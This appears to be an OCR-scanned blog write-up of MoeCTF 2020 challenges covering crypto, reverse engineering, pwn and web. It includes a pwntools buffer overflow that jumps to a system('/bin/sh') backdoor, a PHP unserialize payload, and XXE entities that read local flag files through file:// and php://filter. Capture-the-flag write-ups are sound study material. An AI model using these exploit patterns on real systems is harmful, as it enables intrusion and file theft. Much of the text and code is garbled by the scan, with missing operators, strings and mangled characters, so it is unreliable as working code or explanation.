MoeCTF 2020 Writeup

WustHandy F 2020-10-20 11:12:54 KA 776 R 1

LR WriteUp

R ] SO E R ISR, 5. CC 4.0 BY-SA AN, e i iy b i SCH AL B AN AR 1
ASCHERE: https://blog.csdn.net/weixin 45883223 /article/details/107827108

WriteUp A2 1% 2%
15 F S 2 1T B
VB E A

MoeCTF 2020 Writeup


https://blog.csdn.net/weixin_45883223
https://blog.csdn.net/weixin_45883223/category_10196982.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_45883223/article/details/107827108
https://blog.csdn.net/weixin_45883223/category_10196982.html

Crypto
Rt AL RE#
KA AL FE#2
A i e 5
K BERE#AE 5 Je L
easycrypto
rsa_begin

Algorithm

mess
Frank, 7K izt i #f
Misc
Welcome
MD5
hey fxck you!
AN ? ghX g
Corleff) 3 5

Pwn

Welcome to pwn
Baby pwn

Reverse

Welcome To Re!
SimpleRe
Protection
Real EasyPython
EzJava

Web

GET

POST

AT
Introduction
—HJik

EzMath

W ks
Moe include
Moe unserialize

EzZXXE

Crypto
KA AL TR #1



HUH
K R AEFE#2

YRR, % /taz0-9

H1 T F) 5

b2

KA AL R #4E 75 JE T
BT, keyftdsecx

easycrypto

from FLAG import flag

cipher

for i in plain:
m (1)
cipher.append(5

return cipher

print(enc(flag))

import math
2=[60051, 62263, 51603, 49591, 67968, 52624, 76375, 38359, 51603, 58960, 49591, 62263, 60051, 51603, 45687, 6796
8, 62263, 45687, 22839, 65656, 73923, 63384, 67968, 62263, 78867]
for i in a:
print( ( ((math.sqrt(5*i+49)-3)/5)),end

rsa_begin



from gmpy2 import

from Crypto.Util.number import

from flag import flag
getPrime(1024)
getPrime(1024)

p q
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bytes_to_long(flag)
(m, e, n)
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)
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import gmpy2

from binascii import a2b_hex

C 783684985738503094442314347524934184482036635871832584291550719200799313922367875557938246383867666971660197
7921616345389521330798979842361550179768482062128285287806564137695591053495242584322139095166402363546417708952
3914512032752799849396522573631284528554187260070849421664934184251326475424688686842202719551564248238672283799
7808272146697121196492091138373228003650500776691376017024390167496716692415331210505955625537332155909620090766
©514975673620394516072662336931790153143949609390163193994521693649356204281040548019911375754702007480369407619
871819623021503130916974573075295309368426999800454652215081

e 65537

p 965433008340893518401380649798183486187955317586634349410649159627448397201672036269578532348239451468668524
1363493679333423753666007018480364987935403724948935721779314105353422693394926871796770457936098985420957670894
0365802123967971542485171803378051938067733931732400121715423442202374276791991940567989

q 158354643165812523467678961516271047602542461040785234933013088392587753160686638712835558404358035554354971
8394863198453706220493057151255769454626685706960226496873060308143954132996886299451646977359477294858255932551
73838295042679935949422224177898996567492679279350996800354531783794027535371811181535053

n =p°q

d gmpy2.invert(e, (p-1)*(q-1))

m (c, d, n)

flag=a2b_hex( (m)[2:])

print(flag)

Algorithm

while i (digit):
n random.randint(@, 128)
if (‘a') n (
digit = digit[0:i]
1

with (
out.write(digit)
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random

uuid

(uuid.uuid4())[:8]
os.makedirs( foldl)
for j in (109):
fold2 (uuid.uuid4())[:8]
os.makedirs( foldl fold2)

for k in (10):
fold3 (uuid.uuid4())[:8]
os.makedirs( foldl fold2 fold3)
out
for i in (1000) :
ch random.randint(e, 127)
if ord('a') <=ch<=ord('z")
out (ch)
else:
if random.randint (@, 100) 40:
out+=key
with ( foldl fold2 fold3

aim.write(out)
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Baby pwn
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cdecl main(int argc,

char v4; // [rsp+leh] [rbp-48h]

setvbuf(stdin, @LL, 2, ©LL);
setvbuf(_bss_start, OLL, 2, ©6LL);
printf("Tell me your name: ", @LL, argv);
scanf("%s", &v4);
printf("Hello %s!", &v4);
return 8;

https://blog.csdn.netweixin_:
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int backdoor(void)

{

return system("/bin/sh");

}

W& A, AT T system("/bin/sh")

public _Z8backdoorv
_Z8backdoorv proc near
; __unwind {
. text:0000000000400676 push rbp
mov rbp, rsp
mov edi, offset command
call _system
nop
pop rbp
retn
; } // starts at 400676
_Z8backdeoorv endp
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from pwn import
p=remote( ,10003)
p.sendline( 72+p64(0x400676) )

p.interactive()

Reverse
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SimpleRe

enceR ) £ EARL an T

for (i
out[i]
for ( j
out[j]
for ( k
out[k]
for (1
out[1]
for ((m
out[m]
for ( n
out[n]
for ( ii
out[ii]
for ( jJ
out[jj]
for ( kk
out[kk]
for ( 11
out[11]
for ( mm
out[mm]
for ( nn
out[nn]
for ( i1l
out[il]
for ( i2
out[i2]
for ( i3
out[i3]
for ( i4
out[i4]

byte_ 40807F

if (
result

else
result

0; i
al[i]
0; J
0x39u;
0; k
Ox4Bu;
0; 1
Ox4Au;
O; m
0x49u;
0; n
0x26u;
0; ii
ox15u;
0; jJ
Ox61lu;
kk
Ox56u;
11
Ox1Bu;
0; mm
0x21u;
0; nn
0x40u;
0; i1l
Ox57u;
0; i2
Ox2Eu;
i3
0x49u;
i4
0x37u;
0;

0;

0;

9;

9;

puts(

puts(

return result;

aimFloutf){H ZAHEE,

A B A aimffE

.data:0000000000404040 aim

30;

i

0x17;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

30;

strcmp(out, aim) )
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tinclude
using namespace std;
int main()
{
string out
char al[31];
int i,j,k,1,m,n,ii,jj,kk,11,mm,nn,i1,i2,1i3,i4;
for (i 0; i 30; i)
out[i] 0x37;
for ( j 9; j 30;
out[j] 0x49;
for ( k 0; k 30;
out[k] Ox2E;
for (1 0; 1 30;
out[1] Ox57;
for ((m 0; m 30;
out[m] 0x40;
for ( n 0; n 30;
out[n] 0x21;
for ( ii 0; ii 30;
out[ii] 0x1B;
for ( jj = @5 Jj 30;
out[jj] OXx56;
for ( kk 0; kk 30;
out[kk] ox61;
for ( 11 0; 11 30;
out[11] ox15;
for ( mm 0; mm 30;
out[mm] 0x26;
for ( nn 0; nn 30;
out[nn] 0x49;
for ( il 0; il 30; il
out[il] Ox4A;
for ( i2 0; i2 30; i2
out[i2] Ox4B;
for ( i3 = @; i3 30; ++i3
out[i3] 0x39;
for ( i4 = 0; i4 30; i4
al[i4] out[i4]
cout<<al;

return 0;

}
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int __cdecl main(int argc,

{
signed int i; // [rsp+Ch] [rbp-34h]
char v5[4@]; // [rsp+16h] [rbp-3@h]
unsigned __inté4 v6; // [rsp+38h] [rbp-8h]

= __readfsqword(©x28u);
printf((unsigned __inte4)" p-ae:a _nput your
_isoc99_scanf((un51gned __inte4)"%28s"),;
for (1 =0; i <= 27; ++i )
{
if ( ((unsigned __int8)x[i] ™ (unsigned __int8)v5[i]) != y[i] )
{
puts("wrong!", v5);
return 8;
}
}
puts("right!", v5);
return 8;
hitps://blog.csdn.netiweixin_45883223

using namespace std;
int main()
{
string x 5
char y[30]={0xc,0,0x10,0x15,0x57,0x26,0x5a,0x23,0x40,0x40,0x3e,0x42,0x37,0x30,9,0x19, 3,0x1d,0x50,0x43,7,0x57,0X
15,0x7e,0x51,0x6d,0x43,0x57};
char v5[30];
for(int i=0;i<=27;i++)
v5[il=x[1]"y[i];
cout<<vs;

return 0;

}

Real EasyPython

PYCTELR [ 2

, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85,
110, 105, 104, 35]
, end )

out.append( (1)

for i in ( (out)):
if out[i] key[i]:




115, 76, 50, 116, 90, 50, 116, 90,

126, 115, 110, 105, 104, 35]

for i in key:

for j in (33,127):
if j>>47j i:

print( (j),end

break

EzJava

1E Lhjava % 4k
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import java.io.BufferedReader;
import java.io.InputStreamReader;

public class EasyJava {

public static void main(String[] var@) {
System.out.println( )
System.out.println( )5
BufferedReader varl new BufferedReader(new InputStreamReader(System.in));
String var2 = null;
int[] var3 = new int[]{43, 23, 23, 62, 110, 66, 94, 99, 126, 68, 43, 62, 76, 110, 22, 5, 15, 111, 86, 75,
78, 83, 86, @, 85, 86};

try {
var2 varl.readlLine();

} catch (Exception varle) {
System.out.println(

if(var2.isEmpty()) {
System.out.println(
} else {
if(var2.length() 35) {
System.out.println(

return;

String var4 = var2.substring(e, 7);
if(!vard.equals( )) {
System.out.println(

return;

String var5 var2.substring(7, var2.length() 1);

for(int varé = @; varé < var5.length() i g varé) {
char var7 var5.charAt(var6);
char vars8 var5.charAt(varé 1);
int var9 var?7 vars;
if(var9 var3[var6]) {
System.out.println(

return;

System.out.println(
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tinclude
using namespace std;
int main()
i
int a[30]={43, 23, 23, 62, 110, 66, 94, 99, 126, 68,
; 86};
char b[30];
for(int i=0;i<50;1i
{
b[0]=1+65;
for(int j=1;j<=26;j++)
b[jl=b[]j-1]"a[]j-1];
cout<<b<<endl;
)i

return 0;

<?php
error_reporting(0);
highlight file(__ FILE_ );

include ;

$_GET[ 1;
flag)

error_reporting(9);
highlight_file(__FILE_ );

include 5

flag)
die ($flag);

Fimaxhackbarzl £t 2k T. H s python, POST/%Za=flag
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<?php

error_reporting(9);
highlight file(

eval($ POST[ 1;

EzMath

expinT:

import requests

import re

url

session=requests.session()

r=session.post(url)

lists=re.findall(
(lists[@:-17)

res=session.post(url,data)

print(res.text)

2 k&
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Moe include
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Moe unserialize

F#.index.php.swp, Flvim-riz&

<?php
error_ reporting(®0);
class Moe {
public $a;
protected $b;
private $c ;
function _ destruct() {
if ($this->a $this->b
include 5
die($flag) ;

1
J
1
J
$moe = $ GET[ 1;

unserialize($moe) ;

?>

payloadl :

0:3:"Moe”:3:{s:1:“a";s:1:“1”;5:6:"%00Moe%00c";s:1:“3”;5:4:"%00*%00b";s:1:“2";}



EzXXE

libxml disable entity loader (false);
$xmlfile file get contents( )

if (strpos($xmlfile, FALSE){
if (strpos($xmlfile, FALSE){
die(

!

J

if (strpos($xmlfile, FALSE){

if (strpos($xmlfile, FALSE){
echo ;

echo

$dom new DOMDocument();

$dom->1loadXML ($xmlfile, LIBXML_NOENT LIBXML_DTDLOAD) ;
$test simplexml import_dom($dom) ;
echo $test;

__FILE_);

< IDOCTYPE root [
<IENTITY ceshi SYSTEM “file:///flags/flagl.txt" >

<IDOCTYPE root [
<IENTITY ceshi SYSTEM "php://filter/read=convert.base64-encode/resource=/flags/flag2.php" >
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